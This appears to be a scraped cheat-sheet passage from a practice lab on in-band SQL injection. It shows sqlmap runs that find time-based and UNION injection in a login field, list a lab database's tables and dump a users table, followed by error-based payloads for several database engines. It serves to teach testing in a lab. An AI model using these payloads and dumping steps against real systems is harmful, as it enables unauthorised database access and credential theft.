In Band
Basic Workflow


username parameter with built-in SQLi payloads.Error-Based

UNION-Based





Last updated


username parameter with built-in SQLi payloads.





Last updated
$ sqlmap -r post_request.txt --batch
<SNIP>
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 75 HTTP(s) requests:
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=jeremy' AND (SELECT 6462 FROM (SELECT(SLEEP(5)))zkFr) AND 'GiCb'='GiCb
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: username=jeremy' UNION ALL SELECT NULL,NULL,CONCAT(0x7162766271,0x534a50534a684c7153486868667a4656547777534b5257724a66486c4a506858526c6c6a51467a6d,0x71716b6a71)-- -
---
[11:57:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.54, PHP 7.4.33
back-end DBMS: MySQL >= 5.0.12# enumerating the current database
$ sqlmap -r post_request.txt --batch --current-db
<SNIP>
[12:04:04] [INFO] fetching current database
current database: 'bb-labs'$ sqlmap -r post_request.txt --batch -D bb-labs --tables
<SNIP>
[12:07:28] [INFO] fetching tables for database: 'bb-labs'
Database: bb-labs
[14 tables]
+------------------------+
| api0x01 |
| auth0x02 |
| auth0x03 |
| c0x03 |
| csrf0x01 |
| csrf0x02 |
| idor0x01 |
| injection0x01 |
| injection0x02 |
| injection0x03_products |
| injection0x03_users |
| injection0x04 |
| xss0x02 |
| xss0x03 |
+------------------------+$ sqlmap -r post_request.txt --batch -D bb-labs -T injection0x01 --dump
<SNIP>
[12:09:12] [INFO] fetching columns for table 'injection0x01' in database 'bb-labs'
[12:09:12] [INFO] fetching entries for table 'injection0x01' in database 'bb-labs'
Database: bb-labs
Table: injection0x01
[3 entries]
+---------------------+------------------+----------+
| email | password | username |
+---------------------+------------------+----------+
| jeremy@example.com | jeremyspassword | jeremy |
| jessamy@example.com | jessamyspassword | jessamy |
| bob@example.com | bobspassword | bob |
+---------------------+------------------+----------+// MSSQL and PostgreSQL payload
cast(@@version as integer)// MySQL payload
extractvalue('',concat('>',version()))to_char(
dbms_xmlgen.getxml(
'select "'||
(select substr(banner,0,30) from v$version where rownum=1)
||'" from sys.dual'
)
)